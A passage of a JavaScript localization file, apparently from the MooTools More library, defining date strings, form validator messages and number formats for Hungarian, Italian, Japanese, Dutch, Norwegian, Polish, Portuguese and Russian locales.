	monthsUntil: '{delta} hónap múlva',
	yearUntil: '1 év múlva',
	yearsUntil: '{delta} év múlva'

});


/*
---

name: Locale.hu-HU.Form.Validator

description: Form Validator messages for Hungarian.

license: MIT-style license

authors:
  - Zsolt Szegheő

requires:
  - /Locale

provides: [Locale.hu-HU.Form.Validator]

...
*/

Locale.define('hu-HU', 'FormValidator', {

	required: 'A mező kitöltése kötelező.',
	minLength: 'Legalább {minLength} karakter megadása szükséges (megadva {length} karakter).',
	maxLength: 'Legfeljebb {maxLength} karakter megadása lehetséges (megadva {length} karakter).',
	integer: 'Egész szám megadása szükséges. A tizedesjegyek (pl. 1.25) nem engedélyezettek.',
	numeric: 'Szám megadása szükséges (pl. "1" vagy "1.1" vagy "-1" vagy "-1.1").',
	digits: 'Csak számok és írásjelek megadása lehetséges (pl. telefonszám kötőjelek és/vagy perjelekkel).',
	alpha: 'Csak betűk (a-z) megadása lehetséges. Szóköz és egyéb karakterek nem engedélyezettek.',
	alphanum: 'Csak betűk (a-z) vagy számok (0-9) megadása lehetséges. Szóköz és egyéb karakterek nem engedélyezettek.',
	dateSuchAs: 'Valós dátum megadása szükséges (pl. {date}).',
	dateInFormatMDY: 'Valós dátum megadása szükséges ÉÉÉÉ.HH.NN. formában. (pl. "1999.12.31.")',
	email: 'Valós e-mail cím megadása szükséges (pl. "fred@domain.hu").',
	url: 'Valós URL megadása szükséges (pl. http://www.example.com).',
	currencyDollar: 'Valós pénzösszeg megadása szükséges (pl. 100.00 Ft.).',
	oneRequired: 'Az alábbi mezők legalább egyikének kitöltése kötelező.',
	errorPrefix: 'Hiba: ',
	warningPrefix: 'Figyelem: ',

	// Form.Validator.Extras
	noSpace: 'A mező nem tartalmazhat szóközöket.',
	reqChkByNode: 'Nincs egyetlen kijelölt elem sem.',
	requiredChk: 'A mező kitöltése kötelező.',
	reqChkByName: 'Egy {label} kiválasztása szükséges.',
	match: 'A mezőnek egyeznie kell a(z) {matchName} mezővel.',
	startDate: 'a kezdet dátuma',
	endDate: 'a vég dátuma',
	currendDate: 'jelenlegi dátum',
	afterDate: 'A dátum nem lehet kisebb, mint {label}.',
	beforeDate: 'A dátum nem lehet nagyobb, mint {label}.',
	startMonth: 'Kezdeti hónap megadása szükséges.',
	sameMonth: 'A két dátumnak ugyanazon hónapban kell lennie.',
	creditcard: 'A megadott bankkártyaszám nem valódi (megadva {length} számjegy).'

});


/*
---

name: Locale.it-IT.Date

description: Date messages for Italian.

license: MIT-style license.

authors:
  - Andrea Novero
  - Valerio Proietti

requires:
  - /Locale

provides: [Locale.it-IT.Date]

...
*/

Locale.define('it-IT', 'Date', {

	months: ['Gennaio', 'Febbraio', 'Marzo', 'Aprile', 'Maggio', 'Giugno', 'Luglio', 'Agosto', 'Settembre', 'Ottobre', 'Novembre', 'Dicembre'],
	months_abbr: ['gen', 'feb', 'mar', 'apr', 'mag', 'giu', 'lug', 'ago', 'set', 'ott', 'nov', 'dic'],
	days: ['Domenica', 'Lunedì', 'Martedì', 'Mercoledì', 'Giovedì', 'Venerdì', 'Sabato'],
	days_abbr: ['dom', 'lun', 'mar', 'mer', 'gio', 'ven', 'sab'],

	// Culture's date order: DD/MM/YYYY
	dateOrder: ['date', 'month', 'year'],
	shortDate: '%d/%m/%Y',
	shortTime: '%H.%M',
	AM: 'AM',
	PM: 'PM',
	firstDayOfWeek: 1,

	// Date.Extras
	ordinal: 'º',

	lessThanMinuteAgo: 'meno di un minuto fa',
	minuteAgo: 'circa un minuto fa',
	minutesAgo: 'circa {delta} minuti fa',
	hourAgo: "circa un'ora fa",
	hoursAgo: 'circa {delta} ore fa',
	dayAgo: 'circa 1 giorno fa',
	daysAgo: 'circa {delta} giorni fa',
	weekAgo: 'una settimana fa',
	weeksAgo: '{delta} settimane fa',
	monthAgo: 'un mese fa',
	monthsAgo: '{delta} mesi fa',
	yearAgo: 'un anno fa',
	yearsAgo: '{delta} anni fa',

	lessThanMinuteUntil: 'tra meno di un minuto',
	minuteUntil: 'tra circa un minuto',
	minutesUntil: 'tra circa {delta} minuti',
	hourUntil: "tra circa un'ora",
	hoursUntil: 'tra circa {delta} ore',
	dayUntil: 'tra circa un giorno',
	daysUntil: 'tra circa {delta} giorni',
	weekUntil: 'tra una settimana',
	weeksUntil: 'tra {delta} settimane',
	monthUntil: 'tra un mese',
	monthsUntil: 'tra {delta} mesi',
	yearUntil: 'tra un anno',
	yearsUntil: 'tra {delta} anni'

});


/*
---

name: Locale.it-IT.Form.Validator

description: Form Validator messages for Italian.

license: MIT-style license

authors:
  - Leonardo Laureti
  - Andrea Novero

requires:
  - /Locale

provides: [Locale.it-IT.Form.Validator]

...
*/

Locale.define('it-IT', 'FormValidator', {

	required: 'Il campo &egrave; obbligatorio.',
	minLength: 'Inserire almeno {minLength} caratteri (ne sono stati inseriti {length}).',
	maxLength: 'Inserire al massimo {maxLength} caratteri (ne sono stati inseriti {length}).',
	integer: 'Inserire un numero intero. Non sono consentiti decimali (es.: 1.25).',
	numeric: 'Inserire solo valori numerici (es.: "1" oppure "1.1" oppure "-1" oppure "-1.1").',
	digits: 'Inserire solo numeri e caratteri di punteggiatura. Per esempio &egrave; consentito un numero telefonico con trattini o punti.',
	alpha: 'Inserire solo lettere (a-z). Non sono consentiti spazi o altri caratteri.',
	alphanum: 'Inserire solo lettere (a-z) o numeri (0-9). Non sono consentiti spazi o altri caratteri.',
	dateSuchAs: 'Inserire una data valida del tipo {date}',
	dateInFormatMDY: 'Inserire una data valida nel formato MM/GG/AAAA (es.: "12/31/1999")',
	email: 'Inserire un indirizzo email valido. Per esempio "nome@dominio.com".',
	url: 'Inserire un indirizzo valido. Per esempio "http://www.example.com".',
	currencyDollar: 'Inserire un importo valido. Per esempio "$100.00".',
	oneRequired: 'Completare almeno uno dei campi richiesti.',
	errorPrefix: 'Errore: ',
	warningPrefix: 'Attenzione: ',

	// Form.Validator.Extras
	noSpace: 'Non sono consentiti spazi.',
	reqChkByNode: 'Nessuna voce selezionata.',
	requiredChk: 'Il campo &egrave; obbligatorio.',
	reqChkByName: 'Selezionare un(a) {label}.',
	match: 'Il valore deve corrispondere al campo {matchName}',
	startDate: "data d'inizio",
	endDate: 'data di fine',
	currendDate: 'data attuale',
	afterDate: 'La data deve corrispondere o essere successiva al {label}.',
	beforeDate: 'La data deve corrispondere o essere precedente al {label}.',
	startMonth: "Selezionare un mese d'inizio",
	sameMonth: 'Le due date devono essere dello stesso mese - occorre modificarne una.'

});


/*
---

name: Locale.ja-JP.Date

description: Date messages for Japanese.

license: MIT-style license

authors:
  - Noritaka Horio

requires:
  - /Locale

provides: [Locale.ja-JP.Date]

...
*/

Locale.define('ja-JP', 'Date', {

	months: ['1月', '2月', '3月', '4月', '5月', '6月', '7月', '8月', '9月', '10月', '11月', '12月'],
	months_abbr: ['1月', '2月', '3月', '4月', '5月', '6月', '7月', '8月', '9月', '10月', '11月', '12月'],
	days: ['日曜日', '月曜日', '火曜日', '水曜日', '木曜日', '金曜日', '土曜日'],
	days_abbr: ['日', '月', '火', '水', '木', '金', '土'],

	// Culture's date order: YYYY/MM/DD
	dateOrder: ['year', 'month', 'date'],
	shortDate: '%Y/%m/%d',
	shortTime: '%H:%M',
	AM: '午前',
	PM: '午後',
	firstDayOfWeek: 0,

	// Date.Extras
	ordinal: '',

	lessThanMinuteAgo: '1分以内前',
	minuteAgo: '約1分前',
	minutesAgo: '約{delta}分前',
	hourAgo: '約1時間前',
	hoursAgo: '約{delta}時間前',
	dayAgo: '1日前',
	daysAgo: '{delta}日前',
	weekAgo: '1週間前',
	weeksAgo: '{delta}週間前',
	monthAgo: '1ヶ月前',
	monthsAgo: '{delta}ヶ月前',
	yearAgo: '1年前',
	yearsAgo: '{delta}年前',

	lessThanMinuteUntil: '今から約1分以内',
	minuteUntil: '今から約1分',
	minutesUntil: '今から約{delta}分',
	hourUntil: '今から約1時間',
	hoursUntil: '今から約{delta}時間',
	dayUntil: '今から1日間',
	daysUntil: '今から{delta}日間',
	weekUntil: '今から1週間',
	weeksUntil: '今から{delta}週間',
	monthUntil: '今から1ヶ月',
	monthsUntil: '今から{delta}ヶ月',
	yearUntil: '今から1年',
	yearsUntil: '今から{delta}年'

});


/*
---

name: Locale.ja-JP.Form.Validator

description: Form Validator messages for Japanese.

license: MIT-style license

authors:
  - Noritaka Horio

requires:
  - /Locale

provides: [Locale.ja-JP.Form.Validator]

...
*/

Locale.define("ja-JP", "FormValidator", {

	required: '入力は必須です。',
	minLength: '入力文字数は{minLength}以上にしてください。({length}文字)',
	maxLength: '入力文字数は{maxLength}以下にしてください。({length}文字)',
	integer: '整数を入力してください。',
	numeric: '入力できるのは数値だけです。(例: "1", "1.1", "-1", "-1.1"....)',
	digits: '入力できるのは数値と句読記号です。 (例: -や+を含む電話番号など).',
	alpha: '入力できるのは半角英字だけです。それ以外の文字は入力できません。',
	alphanum: '入力できるのは半角英数字だけです。それ以外の文字は入力できません。',
	dateSuchAs: '有効な日付を入力してください。{date}',
	dateInFormatMDY: '日付の書式に誤りがあります。YYYY/MM/DD (i.e. "1999/12/31")',
	email: 'メールアドレスに誤りがあります。',
	url: 'URLアドレスに誤りがあります。',
	currencyDollar: '金額に誤りがあります。',
	oneRequired: 'ひとつ以上入力してください。',
	errorPrefix: 'エラー: ',
	warningPrefix: '警告: ',

	// FormValidator.Extras
	noSpace: 'スペースは入力できません。',
	reqChkByNode: '選択されていません。',
	requiredChk: 'この項目は必須です。',
	reqChkByName: '{label}を選択してください。',
	match: '{matchName}が入力されている場合必須です。',
	startDate: '開始日',
	endDate: '終了日',
	currendDate: '今日',
	afterDate: '{label}以降の日付にしてください。',
	beforeDate: '{label}以前の日付にしてください。',
	startMonth: '開始月を選択してください。',
	sameMonth: '日付が同一です。どちらかを変更してください。'

});


/*
---

name: Locale.ja-JP.Number

description: Number messages for Japanese.

license: MIT-style license

authors:
  - Noritaka Horio

requires:
  - /Locale

provides: [Locale.ja-JP.Number]

...
*/

Locale.define('ja-JP', 'Number', {

	decimal: '.',
	group: ',',

	currency: {
		decimals: 0,
		prefix: '\\'
	}

});


/*
---

name: Locale.nl-NL.Date

description: Date messages for Dutch.

license: MIT-style license

authors:
  - Lennart Pilon
  - Tim Wienk

requires:
  - /Locale

provides: [Locale.nl-NL.Date]

...
*/

Locale.define('nl-NL', 'Date', {

	months: ['januari', 'februari', 'maart', 'april', 'mei', 'juni', 'juli', 'augustus', 'september', 'oktober', 'november', 'december'],
	months_abbr: ['jan', 'feb', 'mrt', 'apr', 'mei', 'jun', 'jul', 'aug', 'sep', 'okt', 'nov', 'dec'],
	days: ['zondag', 'maandag', 'dinsdag', 'woensdag', 'donderdag', 'vrijdag', 'zaterdag'],
	days_abbr: ['zo', 'ma', 'di', 'wo', 'do', 'vr', 'za'],

	// Culture's date order: DD-MM-YYYY
	dateOrder: ['date', 'month', 'year'],
	shortDate: '%d-%m-%Y',
	shortTime: '%H:%M',
	AM: 'AM',
	PM: 'PM',
	firstDayOfWeek: 1,

	// Date.Extras
	ordinal: 'e',

	lessThanMinuteAgo: 'minder dan een minuut geleden',
	minuteAgo: 'ongeveer een minuut geleden',
	minutesAgo: '{delta} minuten geleden',
	hourAgo: 'ongeveer een uur geleden',
	hoursAgo: 'ongeveer {delta} uur geleden',
	dayAgo: 'een dag geleden',
	daysAgo: '{delta} dagen geleden',
	weekAgo: 'een week geleden',
	weeksAgo: '{delta} weken geleden',
	monthAgo: 'een maand geleden',
	monthsAgo: '{delta} maanden geleden',
	yearAgo: 'een jaar geleden',
	yearsAgo: '{delta} jaar geleden',

	lessThanMinuteUntil: 'over minder dan een minuut',
	minuteUntil: 'over ongeveer een minuut',
	minutesUntil: 'over {delta} minuten',
	hourUntil: 'over ongeveer een uur',
	hoursUntil: 'over {delta} uur',
	dayUntil: 'over ongeveer een dag',
	daysUntil: 'over {delta} dagen',
	weekUntil: 'over een week',
	weeksUntil: 'over {delta} weken',
	monthUntil: 'over een maand',
	monthsUntil: 'over {delta} maanden',
	yearUntil: 'over een jaar',
	yearsUntil: 'over {delta} jaar'

});


/*
---

name: Locale.nl-NL.Form.Validator

description: Form Validator messages for Dutch.

license: MIT-style license

authors:
  - Lennart Pilon
  - Arian Stolwijk
  - Tim Wienk

requires:
  - /Locale

provides: [Locale.nl-NL.Form.Validator]

...
*/

Locale.define('nl-NL', 'FormValidator', {

	required: 'Dit veld is verplicht.',
	length: 'Vul precies {length} karakters in (je hebt {elLength} karakters ingevoerd).',
	minLength: 'Vul minimaal {minLength} karakters in (je hebt {length} karakters ingevoerd).',
	maxLength: 'Vul niet meer dan {maxLength} karakters in (je hebt {length} karakters ingevoerd).',
	integer: 'Vul een getal in. Getallen met decimalen (bijvoorbeeld 1.25) zijn niet toegestaan.',
	numeric: 'Vul alleen numerieke waarden in (bijvoorbeeld "1" of "1.1" of "-1" of "-1.1").',
	digits: 'Vul alleen nummers en leestekens in (bijvoorbeeld een telefoonnummer met streepjes is toegestaan).',
	alpha: 'Vul alleen letters in (a-z). Spaties en andere karakters zijn niet toegestaan.',
	alphanum: 'Vul alleen letters (a-z) of nummers (0-9) in. Spaties en andere karakters zijn niet toegestaan.',
	dateSuchAs: 'Vul een geldige datum in, zoals {date}',
	dateInFormatMDY: 'Vul een geldige datum, in het formaat MM/DD/YYYY (bijvoorbeeld "12/31/1999")',
	email: 'Vul een geldig e-mailadres in. Bijvoorbeeld "fred@domein.nl".',
	url: 'Vul een geldige URL in, zoals http://www.example.com.',
	currencyDollar: 'Vul een geldig $ bedrag in. Bijvoorbeeld $100.00 .',
	oneRequired: 'Vul iets in bij in ieder geval een van deze velden.',
	warningPrefix: 'Waarschuwing: ',
	errorPrefix: 'Fout: ',

	// Form.Validator.Extras
	noSpace: 'Spaties zijn niet toegestaan in dit veld.',
	reqChkByNode: 'Er zijn geen items geselecteerd.',
	requiredChk: 'Dit veld is verplicht.',
	reqChkByName: 'Selecteer een {label}.',
	match: 'Dit veld moet overeen komen met het {matchName} veld',
	startDate: 'de begin datum',
	endDate: 'de eind datum',
	currendDate: 'de huidige datum',
	afterDate: 'De datum moet hetzelfde of na {label} zijn.',
	beforeDate: 'De datum moet hetzelfde of voor {label} zijn.',
	startMonth: 'Selecteer een begin maand',
	sameMonth: 'Deze twee data moeten in dezelfde maand zijn - u moet een van beide aanpassen.',
	creditcard: 'Het ingevulde creditcardnummer is niet geldig. Controleer het nummer en probeer opnieuw. {length} getallen ingevuld.'

});


/*
---

name: Locale.nl-NL.Number

description: Number messages for Dutch.

license: MIT-style license

authors:
  - Arian Stolwijk

requires:
  - /Locale
  - /Locale.EU.Number

provides: [Locale.nl-NL.Number]

...
*/

Locale.define('nl-NL').inherit('EU', 'Number');





/*
---

name: Locale.no-NO.Date

description: Date messages for Norwegian.

license: MIT-style license

authors:
  - Espen 'Rexxars' Hovlandsdal

requires:
  - /Locale

provides: [Locale.no-NO.Date]

...
*/

Locale.define('no-NO', 'Date', {

	// Culture's date order: DD.MM.YYYY
	dateOrder: ['date', 'month', 'year'],
	shortDate: '%d.%m.%Y',
	shortTime: '%H:%M',
	AM: 'AM',
	PM: 'PM',
	firstDayOfWeek: 1,

	lessThanMinuteAgo: 'kortere enn et minutt siden',
	minuteAgo: 'omtrent et minutt siden',
	minutesAgo: '{delta} minutter siden',
	hourAgo: 'omtrent en time siden',
	hoursAgo: 'omtrent {delta} timer siden',
	dayAgo: '{delta} dag siden',
	daysAgo: '{delta} dager siden'

});


/*
---

name: Locale.no-NO.Form.Validator

description: Form Validator messages for Norwegian.

license: MIT-style license

authors:
  - Espen 'Rexxars' Hovlandsdal

requires:
  - /Locale

provides: [Locale.no-NO.Form.Validator]

...
*/

Locale.define('no-NO', 'FormValidator', {

	required: 'Dette feltet er påkrevd.',
	minLength: 'Vennligst skriv inn minst {minLength} tegn (du skrev {length} tegn).',
	maxLength: 'Vennligst skriv inn maksimalt {maxLength} tegn (du skrev {length} tegn).',
	integer: 'Vennligst skriv inn et tall i dette feltet. Tall med desimaler (for eksempel 1,25) er ikke tillat.',
	numeric: 'Vennligst skriv inn kun numeriske verdier i dette feltet (for eksempel "1", "1.1", "-1" eller "-1.1").',
	digits: 'Vennligst bruk kun nummer og skilletegn i dette feltet.',
	alpha: 'Vennligst bruk kun bokstaver (a-z) i dette feltet. Ingen mellomrom eller andre tegn er tillat.',
	alphanum: 'Vennligst bruk kun bokstaver (a-z) eller nummer (0-9) i dette feltet. Ingen mellomrom eller andre tegn er tillat.',
	dateSuchAs: 'Vennligst skriv inn en gyldig dato, som {date}',
	dateInFormatMDY: 'Vennligst skriv inn en gyldig dato, i formatet MM/DD/YYYY (for eksempel "12/31/1999")',
	email: 'Vennligst skriv inn en gyldig epost-adresse. For eksempel "espen@domene.no".',
	url: 'Vennligst skriv inn en gyldig URL, for eksempel http://www.example.com.',
	currencyDollar: 'Vennligst fyll ut et gyldig $ beløp. For eksempel $100.00 .',
	oneRequired: 'Vennligst fyll ut noe i minst ett av disse feltene.',
	errorPrefix: 'Feil: ',
	warningPrefix: 'Advarsel: '

});


/*
---

name: Locale.pl-PL.Date

description: Date messages for Polish.

license: MIT-style license

authors:
  - Oskar Krawczyk

requires:
  - /Locale

provides: [Locale.pl-PL.Date]

...
*/

Locale.define('pl-PL', 'Date', {

	months: ['Styczeń', 'Luty', 'Marzec', 'Kwiecień', 'Maj', 'Czerwiec', 'Lipiec', 'Sierpień', 'Wrzesień', 'Październik', 'Listopad', 'Grudzień'],
	months_abbr: ['sty', 'lut', 'mar', 'kwi', 'maj', 'cze', 'lip', 'sie', 'wrz', 'paź', 'lis', 'gru'],
	days: ['Niedziela', 'Poniedziałek', 'Wtorek', 'Środa', 'Czwartek', 'Piątek', 'Sobota'],
	days_abbr: ['niedz.', 'pon.', 'wt.', 'śr.', 'czw.', 'pt.', 'sob.'],

	// Culture's date order: YYYY-MM-DD
	dateOrder: ['year', 'month', 'date'],
	shortDate: '%Y-%m-%d',
	shortTime: '%H:%M',
	AM: 'nad ranem',
	PM: 'po południu',
	firstDayOfWeek: 1,

	// Date.Extras
	ordinal: function(dayOfMonth){
		return (dayOfMonth > 3 && dayOfMonth < 21) ? 'ty' : ['ty', 'szy', 'gi', 'ci', 'ty'][Math.min(dayOfMonth % 10, 4)];
	},

	lessThanMinuteAgo: 'mniej niż minute temu',
	minuteAgo: 'około minutę temu',
	minutesAgo: '{delta} minut temu',
	hourAgo: 'około godzinę temu',
	hoursAgo: 'około {delta} godzin temu',
	dayAgo: 'Wczoraj',
	daysAgo: '{delta} dni temu',

	lessThanMinuteUntil: 'za niecałą minutę',
	minuteUntil: 'za około minutę',
	minutesUntil: 'za {delta} minut',
	hourUntil: 'za około godzinę',
	hoursUntil: 'za około {delta} godzin',
	dayUntil: 'za 1 dzień',
	daysUntil: 'za {delta} dni'

});


/*
---

name: Locale.pl-PL.Form.Validator

description: Form Validator messages for Polish.

license: MIT-style license

authors:
  - Oskar Krawczyk

requires:
  - /Locale

provides: [Locale.pl-PL.Form.Validator]

...
*/

Locale.define('pl-PL', 'FormValidator', {

	required: 'To pole jest wymagane.',
	minLength: 'Wymagane jest przynajmniej {minLength} znaków (wpisanych zostało tylko {length}).',
	maxLength: 'Dozwolone jest nie więcej niż {maxLength} znaków (wpisanych zostało {length})',
	integer: 'To pole wymaga liczb całych. Liczby dziesiętne (np. 1.25) są niedozwolone.',
	numeric: 'Prosimy używać tylko numerycznych wartości w tym polu (np. "1", "1.1", "-1" lub "-1.1").',
	digits: 'Prosimy używać liczb oraz zankow punktuacyjnych w typ polu (dla przykładu, przy numerze telefonu myślniki i kropki są dozwolone).',
	alpha: 'Prosimy używać tylko liter (a-z) w tym polu. Spacje oraz inne znaki są niedozwolone.',
	alphanum: 'Prosimy używać tylko liter (a-z) lub liczb (0-9) w tym polu. Spacje oraz inne znaki są niedozwolone.',
	dateSuchAs: 'Prosimy podać prawidłową datę w formacie: {date}',
	dateInFormatMDY: 'Prosimy podać poprawną date w formacie DD.MM.RRRR (i.e. "12.01.2009")',
	email: 'Prosimy podać prawidłowy adres e-mail, np. "jan@domena.pl".',
	url: 'Prosimy podać prawidłowy adres URL, np. http://www.example.com.',
	currencyDollar: 'Prosimy podać prawidłową sumę w PLN. Dla przykładu: 100.00 PLN.',
	oneRequired: 'Prosimy wypełnić chociaż jedno z pól.',
	errorPrefix: 'Błąd: ',
	warningPrefix: 'Uwaga: ',

	// Form.Validator.Extras
	noSpace: 'W tym polu nie mogą znajdować się spacje.',
	reqChkByNode: 'Brak zaznaczonych elementów.',
	requiredChk: 'To pole jest wymagane.',
	reqChkByName: 'Prosimy wybrać z {label}.',
	match: 'To pole musi być takie samo jak {matchName}',
	startDate: 'data początkowa',
	endDate: 'data końcowa',
	currendDate: 'aktualna data',
	afterDate: 'Podana data poinna być taka sama lub po {label}.',
	beforeDate: 'Podana data poinna być taka sama lub przed {label}.',
	startMonth: 'Prosimy wybrać początkowy miesiąc.',
	sameMonth: 'Te dwie daty muszą być w zakresie tego samego miesiąca - wymagana jest zmiana któregoś z pól.'

});


/*
---

name: Locale.pt-PT.Date

description: Date messages for Portuguese.

license: MIT-style license

authors:
  - Fabio Miranda Costa

requires:
  - /Locale

provides: [Locale.pt-PT.Date]

...
*/

Locale.define('pt-PT', 'Date', {

	months: ['Janeiro', 'Fevereiro', 'Março', 'Abril', 'Maio', 'Junho', 'Julho', 'Agosto', 'Setembro', 'Outubro', 'Novembro', 'Dezembro'],
	months_abbr: ['Jan', 'Fev', 'Mar', 'Abr', 'Mai', 'Jun', 'Jul', 'Ago', 'Set', 'Out', 'Nov', 'Dez'],
	days: ['Domingo', 'Segunda-feira', 'Terça-feira', 'Quarta-feira', 'Quinta-feira', 'Sexta-feira', 'Sábado'],
	days_abbr: ['Dom', 'Seg', 'Ter', 'Qua', 'Qui', 'Sex', 'Sáb'],

	// Culture's date order: DD-MM-YYYY
	dateOrder: ['date', 'month', 'year'],
	shortDate: '%d-%m-%Y',
	shortTime: '%H:%M',
	AM: 'AM',
	PM: 'PM',
	firstDayOfWeek: 1,

	// Date.Extras
	ordinal: 'º',

	lessThanMinuteAgo: 'há menos de um minuto',
	minuteAgo: 'há cerca de um minuto',
	minutesAgo: 'há {delta} minutos',
	hourAgo: 'há cerca de uma hora',
	hoursAgo: 'há cerca de {delta} horas',
	dayAgo: 'há um dia',
	daysAgo: 'há {delta} dias',
	weekAgo: 'há uma semana',
	weeksAgo: 'há {delta} semanas',
	monthAgo: 'há um mês',
	monthsAgo: 'há {delta} meses',
	yearAgo: 'há um ano',
	yearsAgo: 'há {delta} anos',

	lessThanMinuteUntil: 'em menos de um minuto',
	minuteUntil: 'em um minuto',
	minutesUntil: 'em {delta} minutos',
	hourUntil: 'em uma hora',
	hoursUntil: 'em {delta} horas',
	dayUntil: 'em um dia',
	daysUntil: 'em {delta} dias',
	weekUntil: 'em uma semana',
	weeksUntil: 'em {delta} semanas',
	monthUntil: 'em um mês',
	monthsUntil: 'em {delta} meses',
	yearUntil: 'em um ano',
	yearsUntil: 'em {delta} anos'

});


/*
---

name: Locale.pt-BR.Date

description: Date messages for Portuguese (Brazil).

license: MIT-style license

authors:
  - Fabio Miranda Costa

requires:
  - /Locale
  - /Locale.pt-PT.Date

provides: [Locale.pt-BR.Date]

...
*/

Locale.define('pt-BR', 'Date', {

	// Culture's date order: DD/MM/YYYY
	shortDate: '%d/%m/%Y'

}).inherit('pt-PT', 'Date');


/*
---

name: Locale.pt-BR.Form.Validator

description: Form Validator messages for Portuguese (Brazil).

license: MIT-style license

authors:
  - Fábio Miranda Costa

requires:
  - /Locale

provides: [Locale.pt-BR.Form.Validator]

...
*/

Locale.define('pt-BR', 'FormValidator', {

	required: 'Este campo é obrigatório.',
	minLength: 'Digite pelo menos {minLength} caracteres (tamanho atual: {length}).',
	maxLength: 'Não digite mais de {maxLength} caracteres (tamanho atual: {length}).',
	integer: 'Por favor digite apenas um número inteiro neste campo. Não são permitidos números decimais (por exemplo, 1,25).',
	numeric: 'Por favor digite apenas valores numéricos neste campo (por exemplo, "1" ou "1.1" ou "-1" ou "-1,1").',
	digits: 'Por favor use apenas números e pontuação neste campo (por exemplo, um número de telefone com traços ou pontos é permitido).',
	alpha: 'Por favor use somente letras (a-z). Espaço e outros caracteres não são permitidos.',
	alphanum: 'Use somente letras (a-z) ou números (0-9) neste campo. Espaço e outros caracteres não são permitidos.',
	dateSuchAs: 'Digite uma data válida, como {date}',
	dateInFormatMDY: 'Digite uma data válida, como DD/MM/YYYY (por exemplo, "31/12/1999")',
	email: 'Digite um endereço de email válido. Por exemplo "nome@dominio.com".',
	url: 'Digite uma URL válida. Exemplo: http://www.example.com.',
	currencyDollar: 'Digite um valor em dinheiro válido. Exemplo: R$100,00 .',
	oneRequired: 'Digite algo para pelo menos um desses campos.',
	errorPrefix: 'Erro: ',
	warningPrefix: 'Aviso: ',

	// Form.Validator.Extras
	noSpace: 'Não é possível digitar espaços neste campo.',
	reqChkByNode: 'Não foi selecionado nenhum item.',
	requiredChk: 'Este campo é obrigatório.',
	reqChkByName: 'Por favor digite um {label}.',
	match: 'Este campo deve ser igual ao campo {matchName}.',
	startDate: 'a data inicial',
	endDate: 'a data final',
	currendDate: 'a data atual',
	afterDate: 'A data deve ser igual ou posterior a {label}.',
	beforeDate: 'A data deve ser igual ou anterior a {label}.',
	startMonth: 'Por favor selecione uma data inicial.',
	sameMonth: 'Estas duas datas devem ter o mesmo mês - você deve modificar uma das duas.',
	creditcard: 'O número do cartão de crédito informado é inválido. Por favor verifique o valor e tente novamente. {length} números informados.'

});


/*
---

name: Locale.pt-PT.Form.Validator

description: Form Validator messages for Portuguese.

license: MIT-style license

authors:
  - Miquel Hudin

requires:
  - /Locale

provides: [Locale.pt-PT.Form.Validator]

...
*/

Locale.define('pt-PT', 'FormValidator', {

	required: 'Este campo é necessário.',
	minLength: 'Digite pelo menos{minLength} caracteres (comprimento {length} caracteres).',
	maxLength: 'Não insira mais de {maxLength} caracteres (comprimento {length} caracteres).',
	integer: 'Digite um número inteiro neste domínio. Com números decimais (por exemplo, 1,25), não são permitidas.',
	numeric: 'Digite apenas valores numéricos neste domínio (p.ex., "1" ou "1.1" ou "-1" ou "-1,1").',
	digits: 'Por favor, use números e pontuação apenas neste campo (p.ex., um número de telefone com traços ou pontos é permitida).',
	alpha: 'Por favor use somente letras (a-z), com nesta área. Não utilize espaços nem outros caracteres são permitidos.',
	alphanum: 'Use somente letras (a-z) ou números (0-9) neste campo. Não utilize espaços nem outros caracteres são permitidos.',
	dateSuchAs: 'Digite uma data válida, como {date}',
	dateInFormatMDY: 'Digite uma data válida, como DD/MM/YYYY (p.ex. "31/12/1999")',
	email: 'Digite um endereço de email válido. Por exemplo "fred@domain.com".',
	url: 'Digite uma URL válida, como http://www.example.com.',
	currencyDollar: 'Digite um valor válido $. Por exemplo $ 100,00. ',
	oneRequired: 'Digite algo para pelo menos um desses insumos.',
	errorPrefix: 'Erro: ',
	warningPrefix: 'Aviso: '

});


/*
---

name: Locale.ru-RU-unicode.Date

description: Date messages for Russian (utf-8).

license: MIT-style license

authors:
  - Evstigneev Pavel
  - Kuryanovich Egor

requires:
  - /Locale

provides: [Locale.ru-RU.Date]

...
*/

(function(){

// Russian language pluralization rules, taken from CLDR project, http://unicode.org/cldr/
// one -> n mod 10 is 1 and n mod 100 is not 11;
// few -> n mod 10 in 2..4 and n mod 100 not in 12..14;
// many -> n mod 10 is 0 or n mod 10 in 5..9 or n mod 100 in 11..14;
// other -> everything else (example 3.14)
var pluralize = function (n, one, few, many, other){
	var modulo10 = n % 10,
		modulo100 = n % 100;

	if (modulo10 == 1 && modulo100 != 11){
		return one;
	} else if ((modulo10 == 2 || modulo10 == 3 || modulo10 == 4) && !(modulo100 == 12 || modulo100 == 13 || modulo100 == 14)){
		return few;
	} else if (modulo10 == 0 || (modulo10 == 5 || modulo10 == 6 || modulo10 == 7 || modulo10 == 8 || modulo10 == 9) || (modulo100 == 11 || modulo100 == 12 || modulo100 == 13 || modulo100 == 14)){
		return many;
	} else {
		return other;
	}
};

Locale.define('ru-RU', 'Date', {

	months: ['Январь', 'Февраль', 'Март', 'Апрель', 'Май', 'Июнь', 'Июль', 'Август', 'Сентябрь', 'Октябрь', 'Ноябрь', 'Декабрь'],
	months_abbr: ['янв', 'февр', 'март', 'апр', 'май','июнь','июль','авг','сент','окт','нояб','дек'],
	days: ['Воскресенье', 'Понедельник', 'Вторник', 'Среда', 'Четверг', 'Пятница', 'Суббота'],
	days_abbr: ['Вс', 'Пн', 'Вт', 'Ср', 'Чт', 'Пт', 'Сб'],

	// Culture's date order: DD.MM.YYYY
	dateOrder: ['date', 'month', 'year'],
	shortDate: '%d.%m.%Y',
	shortTime: '%H:%M',
	AM: 'AM',
	PM: 'PM',
	firstDayOfWeek: 1,

	// Date.Extras
	ordinal: '',

	lessThanMinuteAgo: 'меньше минуты назад',
	minuteAgo: 'минуту назад',
	minutesAgo: function(delta){ return '{delta} ' + pluralize(delta, 'минуту', 'минуты', 'минут') + ' назад'; },
	hourAgo: 'час назад',
	hoursAgo: function(delta){ return '{delta} ' + pluralize(delta, 'час', 'часа', 'часов') + ' назад'; },
	dayAgo: 'вчера',
	daysAgo: function(delta){ return '{delta} ' + pluralize(delta, 'день', 'дня', 'дней') + ' назад'; },
	weekAgo: 'неделю назад',
	weeksAgo: function(delta){ return '{delta} ' + pluralize(delta, 'неделя', 'недели', 'недель') + ' назад'; },
	monthAgo: 'месяц назад',
	monthsAgo: function(delta){ return '{delta} ' + pluralize(delta, 'месяц', 'месяца', 'месецев') + ' назад'; },
	yearAgo: 'год назад',
